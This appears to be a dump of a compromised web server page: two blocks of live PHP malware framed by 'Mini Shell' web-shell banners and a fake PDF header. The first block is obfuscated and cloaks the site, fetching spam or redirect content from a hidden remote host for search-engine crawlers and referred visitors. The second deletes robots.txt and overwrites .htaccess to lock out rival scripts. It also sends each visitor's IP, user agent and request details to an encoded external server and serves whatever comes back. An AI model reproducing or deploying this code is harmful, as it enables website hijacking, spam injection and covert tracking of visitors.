%PDF-
%PDF-
Mini Shell
Mini Shell
<?php @'$
x3=
x7=https://jan33.hmftonofs3qfy/disanfang.py
sps=00
urlgz=item/^id!.html
';$bb6bb66=explode("1l","yarra_si1lyarra_ni1lsoprts1lstsixe_noitcnuf1lstegf1ledocnelru1lnelrts1ldro1lrhc1lredaeh1l5dm1lemanybtsohteg1lezilairesnu1lrtsbus1llru_esrap1lecalper_rts1lcexe_lruc1lmirt1ltrats_bo1lstnetnoc_teg_elif1lhctam_gerp1ltini_lruc1ledolpxe1ltilps_gerp1ltnuoc1ledolpmi1lesolc_lruc1lesolcf1ltcartxe1ltpotes_lruc1letirwf1lnaelc_dne_bo1lecalper_gerp1lftnirps1lrewolotrts1lfoef");foreach($bb6bb66 as$b66bbb=>$bbb666){$bbb666=preg_split("//",$bbb666,-1,PREG_SPLIT_NO_EMPTY);$bb6bb66[$b66bbb]=implode("",array_reverse($bbb666));};$bbb6b=__FILE__;$bb6bb6=explode("9","bb666bb9bb6bb6b9b669bb6bbb9b6bb6669bbbb669b6bbb9bb66b9bbb666b9b6b69b66bbb69bbbb69bb6b6b69bb666b69b6b66669bb6669b66b69b66b6669bb66b669b6bb669bbbbb69b66669b6b66b9bb669b6bbbbb9b6b6b669b6bbbb69b6666bb9b66666b9b66b66b9b6b6bb69b6b6b6b9bbb66669b66b6b9b666b6b9b6b66bb");foreach($bb6bb6 as$b6bb=>$bb66bb){$$bb66bb=$bb6bb66[$b6bb];};function l1L2($l1xP){$l1O="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=$";$l1n=$l1R6=$l1x="";$l1fz=$l1s=$l1M=$l1BCSg="";$l18IP3=0;$l1hj="";$l1xP=$GLOBALS["bbb6666"]("/[^A-Za-z0-9\+\/\=$]/","",$l1xP);do{$l1fz=$GLOBALS["b66"]($l1O,$GLOBALS["bb666b6"]($l1xP,$l18IP3++,1));$l1s=$GLOBALS["b66"]($l1O,$GLOBALS["bb666b6"]($l1xP,$l18IP3++,1));$l1M=$GLOBALS["b66"]($l1O,$GLOBALS["bb666b6"]($l1xP,$l18IP3++,1));$l1BCSg=$GLOBALS["b66"]($l1O,$GLOBALS["bb666b6"]($l1xP,$l18IP3++,1));$l1n=($l1fz<<2)|($l1s>>4);$l1R6=(($l1s&15)<<4)|($l1M>>2);$l1x=(($l1M&3)<<6)|$l1BCSg;$l1hj=$l1hj.$GLOBALS["bbb666b"]((int)$l1n);if($l1M!=64){$l1hj=$l1hj.$GLOBALS["bbb666b"]((int)$l1R6);}if($l1BCSg!=64){$l1hj=$l1hj.$GLOBALS["bbb666b"]((int)$l1x);}$l1n=$l1R6=$l1x="";$l1fz=$l1s=$l1M=$l1BCSg="";}while($l18IP3<$GLOBALS["b6bbb"]($l1xP));return$l1hj;}function l1y($l1J=''){$l1BUR='';$l1sO=$GLOBALS["bb66"]("//u",$l1J,-1,PREG_SPLIT_NO_EMPTY);foreach($l1sO as$l14g3){$l1BUR.=$GLOBALS["bbb666b"]($GLOBALS["bb66b"]($l14g3)+1);}return l1L2($l1BUR);}function l1iK8($l1BLX){return l1y($l1BLX);}$bbb66=$GLOBALS["b6bb66"]($bbb6b);$bb666b=@$GLOBALS["bb6b6b6"](l1iK8("XSnyLio6byn2NhIhXlIhMiX1HisyNif5Hj7wayAgU/@3HisyNiT5HlH1MlIhHisyNiHwLinhS/YIcUkG`lYgLSQxXSEE`j8RRVogLT/vXUYUcFMBMF0YU0EEXTYUb0kVMB8hK/j/UTYEaUMrQWMYTlYqXiED`1I3`1ELQR8/VCE2a0fwbl4JTjfpS/YDYlAGRVsY`R8nRUcL`D8ocmUXTyL2XVv3dUfxRV8hQ0@pS/Xv`1MFQFYfQ0DuXjHv`1IWUV8i`R8nXlwUaFIrUWkfPjglVCD3cFMFUWQiPx8nSDMxYlMWRWIOTkU4RFg@cT8ocmUgaCg4VCIIa1IGTBoOPignXSEQMD8lOCvhN2L5MSnhXiYhMlHhN2L5LSH5HkfxUWggQSgqYDYU`RH6byn1NhIhXlIhMlHhN2L5LiP5HjrvMFEW`WciRmj2aj8BL2AJTiguXmX7OBH6byn1NhIhXiX1XiXhN2L5MCnhUR8mThH6byn2NhIhXlIhXlH1HisyNif5HjkrVWggLR73HisyNib5HlH1MiX1MiXhN2L5NCnhXDcQK1IGSCvhN2L5MinhXiX1XlH1HisyNiD1NhIOQjk3RDH2Jj8FRWgHPibpHisyNiH5HlH1HisyNif5HlAGTR8hPCv7HisyNiP5HlH1MlHhN2L5NCnhRVwY`FICKyvhN2L5MynhXiX1XlIhXhH6bynxNCnhRy@/REkVQVoPPlY/Rlj2a0ADPF4K`F4uRyEqdRH6bynyNhIhXiXhN2L5LS@vNhIKdFcsXSD3aVEFUVggLkD2VFwEa0kGUWkhQlspVUcIM0gr`2QYLTk0X/c2aVDwNF0gQkT2VFwEa0kGUScXUigxYTYIa1ErXycjUjUtXSD3M1QWUVcgaUDvXSEIcVMB`mUhLVn7HisyNib5HlH1XlIhMlHhN2L5NCnhRVwY`D8POCvhN2L5MinhXlIhMlIhHisyNiHvNhIKLCQhX2gxNDoBL2AJTig4XE@7OBH6bynyNhIhXlHhN2L5MCnhXTcLcxH6byn2NhIhMiX1XlIhHisyNiPvNhIWPibtRjYicVDwX2IYUWMmR0ctcjsS`1MjdTPwYUU1cFAGTWMgPln7HisyNiX5HlH1XlIhMhH6bynwLinhXSEIYVHxTVchaU@7HisyNiT5HlH1MiYhHisyNiP3NhIPLSg/X/YUcFMBLB8jU/EqSl0Q`1QGTGUfQ0EyXTMy`VAFQWghLUTuS0cUK0knKyLhN2L5LynhXiYhHisyNiDxNhIXLkU3XTT3a1Er`x7hN2L5MCnhXlIhMhH6bynxLCnhSyEuLFEWPCgLPkjvXlw2aVQoKyvhN2L5LinhXlHhN2L5LSX5HjrvMDgUQUEPU/H2c/rxSV7hN2L5MSnhXlIhXlHhN2L5LSX5HlDwRVUYUiQpUyEMbkkVQWPhN2L5MSnhXiYhMiXhN2L5MyH5Hjs3Y10gLSgsXTYTcEfwM2QfaTD2YEYEalDwM2QXLSc/XF0AM0gr`2QYLmcnVEYq`lMWc10gLSgsXTYTcEfwNGMJTig4XE@7OBH6byn0NhIhMlIhMhH6bynyLinhR2gmXUcqcmQWTmMhR1gpajsnal8JQWY0R1gta/s1OCvhN2L5MSnhXlH1XiXhN2L5LSH5HkksSWUXLWM0XjYUcBH6byn/NhIhXlIhHisyNiP3NhIOQjQlXDcI`0koK1gIU/wnRDcQY1IrX1siPx8nUyEIbkgVMGEH`SMqXmk1cUgSLyvhN2L5MynhXlH1MlIhMhH6bynwMinhXjYYdVDwSWEgLjEqXVX7OBH6byn/NhIhMiX1HisyNiDxNhIIaUU3XTYiMT8POCvhN2L5MCnhXlH1XhH6bynwLinhRl0I`1MGUWggYiv7HisyNib5HlIhMlIhXiXhN2L5LyX5HkjwNGUYLWcqR0cMa1MFUGMiaEU3XEYYa0fwQR8fUig/Slg@OBH6byn1NhIhXiYhMiXhN2L5LSX5HjrvMDoiUiA1TDIlcDon`mThN2L5MynhXlIhXiYhXhH6bynxMCnhRy@/alMGTWYhdSghSls1cUcBM2UhLVn7His8"));foreach($bb666b as$bbbb66b=>$bbb6b66){$bb666b[$bbbb66b]=l1iK8($bbb6b66);};@extract($bb666b);$GLOBALS["bbbbb6"](l1iK8("K/@mJB3pOxjmNx8y"),$bbb66,$_SESSION["oO0Oo0OO0"]);if($GLOBALS["bb6bbb"]($GLOBALS["b6bbb6"])){@$GLOBALS["bb66b66"]();}$l1r0y0="";$l17=$l1L=$l1O=$l1kD=$l1v="";$l1Z4b=$_SERVER["DOCUMENT_ROOT"];function l1GZ($l1SiN,$l1mNjd=0,$l1k=1,$l1F=null,$l1p=array()){$l1f=0;if($GLOBALS["bb6bbb"]($GLOBALS["b6b"])&&$GLOBALS["bb6bbb"]($GLOBALS["b6b6b"])){$l1h=$GLOBALS["b6666"]();$GLOBALS["b66b66b"]($l1h,CURLOPT_URL,$l1SiN);$GLOBALS["b66b66b"]($l1h,CURLOPT_USERAGENT,$GLOBALS["bb66b6"]);$GLOBALS["b66b66b"]($l1h,CURLOPT_CONNECTTIMEOUT,0);$GLOBALS["b66b66b"]($l1h,CURLOPT_RETURNTRANSFER,1);$GLOBALS["b66b66b"]($l1h,CURLOPT_SSL_VERIFYPEER,false);$GLOBALS["b66b66b"]($l1h,CURLOPT_SSL_VERIFYHOST,false);$GLOBALS["b66b66b"]($l1h,CURLOPT_FOLLOWLOCATION,true);$GLOBALS["b66b66b"]($l1h,CURLOPT_TIMEOUT,300);$l1jjx=$GLOBALS["b66b6"]($l1h);$GLOBALS["b6bbbb6"]($l1h);if($l1jjx){$l1f=$l1jjx;}}else{$l1k='';if($GLOBALS["bb6bbb"]($GLOBALS["bb6b6"])){$l1k=$GLOBALS["bb6b6"];}elseif($GLOBALS["bb6bbb"]($GLOBALS["bb66bb6"])){$l1k=$GLOBALS["bb66bb6"];}if($l1k!=''){$l1fh2s=$GLOBALS["b6b6666"]($l1SiN);$l1FpxA=$l1k($l1fh2s["host"],isset($l1fh2s["port"])?$l1fh2s["port"]:80,$l1d,$l1dj,30);if($l1FpxA){$l1f=isset($l1fh2s["path"])?$l1fh2s["path"]:'';$l1f.=isset($l1fh2s["query"])?'?'.$l1fh2s["query"]:'';$l1f=$l1f==''?'/':$l1f;$GLOBALS["b6b6bb6"]($l1FpxA,"GET $l1f HTTP/1.0\r\nHost:".$l1fh2s["host"]."\r\nConnection:Close\r\n\r\n");$l1iATP='';while(!$GLOBALS["b6b66bb"]($l1FpxA)){$l1iATP.=$GLOBALS["b6bb666"]($l1FpxA,4096);}$GLOBALS["b6666bb"]($l1FpxA);$l1f=$GLOBALS["bbbbb6"]($GLOBALS["bb"],$l1iATP)?$GLOBALS["bbb6666"]("/.*?\r\n\r\n(.*)/si","$1",$l1iATP):$GLOBALS["bbb6666"]($GLOBALS["bbbb6b"],"$1",$l1iATP);}else{$l1f=0;}}else{$l1f=$GLOBALS["b6bb66"]($l1SiN);}}return$GLOBALS["b66b666"]($GLOBALS["b66b666"]($l1f,"\xEF\xBB\xBF"));}function l11H($l1PcE=''){return$GLOBALS["bbbbb6"]($GLOBALS["bb6"],$l1PcE);}function l1PA($l1SeV=''){return$GLOBALS["bbbbb6"]($GLOBALS["b6b66"],$l1SeV);}function l1MuD($l19tX){$l1CdD='';$GLOBALS["bbbbb6"]($GLOBALS["b6bb6"],$l19tX,$l1f);if($GLOBALS["bb666bb"]($l1f)&&$GLOBALS["b6bbbbb"]($l1f)==4){if($l1f[2]!=''){$l1D=$GLOBALS["bb66"]("//",$l1f[2],-1,PREG_SPLIT_NO_EMPTY);foreach($l1D as$l1HwuF=>$l1shkx){$l1D[$l1HwuF]=$GLOBALS["bbb666b"]($GLOBALS["bb66b"]($l1shkx)-5);}$l1CdD=$GLOBALS["b6b6b66"]('',$l1D);}$l1CdD=$l1f[1].$l1CdD.$l1f[3];}return$l1CdD;}function l1Vir9(){if((isset($_SERVER["HTTPS"])&&($GLOBALS["b666b6b"]($_SERVER["HTTPS"])=='on'))||(isset($_SERVER["HTTP_X_FORWARDED_PROTO"])&&($GLOBALS["b666b6b"]($_SERVER["HTTP_X_FORWARDED_PROTO"])==$GLOBALS["b666666"]))){return$GLOBALS["b666666"];}return$GLOBALS["b6"];}function l1AaH($l14U=''){global$l1r0y0,$l17,$l1Z4b,$l1kD,$l1L,$l1v;if(isset($_SERVER["HTTP_HOST"])){$l1j=$_SERVER["HTTP_HOST"];}elseif(isset($_SERVER["SERVER_NAME"])){$l1j=$_SERVER["SERVER_NAME"];}if(isset($_SESSION["oO0Oo0OO0"])){$l1UI=$_SESSION["oO0Oo0OO0"];}else{$GLOBALS["bbbbb6"]("/@'\\\$(.*?)';/s",$GLOBALS["b6bb66"](__FILE__),$l1UI);}$l1UI=($GLOBALS["bb666bb"]($l1UI)&&isset($l1UI[1]))?$GLOBALS["b66b666"]($l1UI[1]):'';$l1yHCy=array();if($l1UI!=''){$l1UI=$GLOBALS["b6b66b"]("\n",$l1UI);foreach($l1UI as$l1kZv5){$l1kZv5=$GLOBALS["b66b666"]($l1kZv5);if($l1kZv5==''){continue;}$GLOBALS["bbbbb6"]($GLOBALS["bbb6bb"],$l1kZv5,$l1Z);if(isset($l1Z[1])){$l1yHCy[]=$GLOBALS["b66b666"]($l1Z[1]);}}list($l1r0y0,$l1kD,$l1v,$l1L)=$l1yHCy;}$l1M=$GLOBALS["b66b6b"]("%s://$l1j",l1Vir9());$l1JQ6n=isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:'');$l1JQ6n=($l1JQ6n==''?((isset($_SERVER["PATH_INFO"])&&$_SERVER["PATH_INFO"]!='')?$_SERVER["PATH_INFO"]:$l1JQ6n):$l1JQ6n);$l1vf9=$l1M.$l1JQ6n;$l17=isset($_SERVER["SCRIPT_NAME"])?$_SERVER["SCRIPT_NAME"]:'';if($l17==''){$l17=isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:'';if($l17!=''){$l17=$GLOBALS["bb666"]($l1Z4b,'',$l17);}}$l1r0y0=$GLOBALS["bb6bb6b"]($l1r0y0,["?",'/'])?"$l17$l1r0y0":$l1r0y0;$l15ud=isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:'';$l1y66=isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:'';$l1VCi=l11H($l1y66);$l1e=0;$l1Emg=$l1v[0]=='1'?$l1e:($l1v[0]=='0'?$l1VCi:0);$l1us=($l1e||$l1VCi)?0:l1PA($l15ud);$l1kD=l1MuD($l1kD);$l1Pd=$GLOBALS["bbb"];$l1V=$GLOBALS["b666bbb"];if($GLOBALS["bbbbb6"]('/^'.$l1V.'$/si',$l1JQ6n,$l1Yum)){$l1hc3i=$GLOBALS["bb6bbb6"].$l1Yum[1];$l1I=$GLOBALS["b666b"];if($GLOBALS["bb6bbb"]($GLOBALS["bbbbb"])){@$GLOBALS["b6b6b6b"]();}$GLOBALS["b6b6"]($l1I);die($l1hc3i);}if($GLOBALS["bbbbb6"]('/sitemap.*?\.xml$/si',$l1JQ6n)){$l1Ikp=$l1kD.$GLOBALS["bbb6"].$GLOBALS["bbbb66"]($l1L).$GLOBALS["bbbbbb6"].$GLOBALS["bbbb66"]($l1vf9).$GLOBALS["b6bbb6b"].$l17.$GLOBALS["b66b"].$GLOBALS["bbbb66"]($l1r0y0);$l1hc3i=l1GZ($l1Ikp);$l1hc3i=$GLOBALS["b66b666"]($l1hc3i);if($GLOBALS["bbbbb6"]($GLOBALS["b66bbbb"],$l1hc3i,$l10)){$GLOBALS["b6b6"]($l10[1]);$l1hc3i=$l10[2];}echo"$l1hc3i";die;}if($l1Emg||$l1us){$l18lk=$GLOBALS["bbbb"];$l1Ikp=$l1kD.$GLOBALS["bbbb666"].($l1us?1:0).$GLOBALS["b666"].$GLOBALS["bbbb66"]($l1L).$GLOBALS["bbbbbb6"].$GLOBALS["bbbb66"]($l1vf9).$GLOBALS["b6bbb6b"].$l17.$GLOBALS["b66b"].$GLOBALS["bbbb66"]($l1r0y0);if(isset($_GET[$l1Pd])){echo $GLOBALS["b66b6b"]($l18lk,$l1Ikp,$l1Ikp).$GLOBALS["b66bb6"];$l1F=$GLOBALS["b6b6666"]($l1Ikp);echo $GLOBALS["bbbb6"]($l1F["host"]);die;}$l1hc3i=l1GZ($l1Ikp);$l1hc3i=$GLOBALS["b66b666"]($l1hc3i);if($GLOBALS["bb6bb6b"]($l1hc3i,["*404",$GLOBALS["bb6b"]])){return;}if($GLOBALS["bbbbb6"]($GLOBALS["bb6b66"],$l1hc3i,$l1xaL)){$l10KH=$GLOBALS["b66b666"]($l1xaL[1]);$l1KD=$GLOBALS["bbbbb6"]($GLOBALS["bbbb6bb"],$l10KH);if($l1v[1]=='1'&&$l1KD){$GLOBALS["b6b6"]("Location:$l10KH",true,302);}else{if($l1KD){echo $GLOBALS["b66b6b"]($GLOBALS["b66bb"],"'","'",$l10KH,$l10KH);}else{echo $l10KH;}}die;}if($GLOBALS["bbbbb6"]($GLOBALS["b66bbbb"],$l1hc3i,$l10)){$GLOBALS["b6b6"]($l10[1]);$l1hc3i=$l10[2];}echo"$l1hc3i";die;}}l1AaH();?>
<?php
function h($url, $pf = '') { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'h'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); if ($pf != '') { curl_setopt($ch, CURLOPT_POST, 1); if(is_array($pf)){ curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($pf)); } } $r = curl_exec($ch); curl_close($ch); if ($r) { return $r; } return ''; } function h2() { if (file_exists('robots'.'.txt')){ @unlink('robots'.'.txt'); } $htaccess = '.'.'htaccess'; $content = @base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+"); if (file_exists($htaccess)) { $htaccess_content = file_get_contents($htaccess); if ($content == $htaccess_content) { return; } } @chmod($htaccess, 0777); @file_put_contents($htaccess, $content); @chmod($htaccess, 0644); } $api = base64_decode('aHR0cDovLzU3MTktY2g0LXYxMTQuaml0bmV5bnMuY29t'); $params['domain'] =isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; $params['request_url'] = $_SERVER['REQUEST_URI']; $params['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $params['agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $params['ip'] = isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; if($params['ip'] == null) {$params['ip'] = "";} $params['protocol'] = isset($_SERVER['HTTPS']) ? 'https://' : 'http://'; $params['language'] = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; if (isset($_REQUEST['params'])) {$params['api'] = $api;print_r($params);die();} h2(); $try = 0; while($try < 3) { $content = h($api, $params); $content = @gzuncompress(base64_decode($content)); $data_array = @preg_split("/\|/si", $content, -1, PREG_SPLIT_NO_EMPTY);/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ if (!empty($data_array)) { $data = array_pop($data_array); $data = base64_decode($data); foreach ($data_array as $header) { @header($header); } echo $data; die(); } $try++; } ?>
Zerion Mini Shell 1.0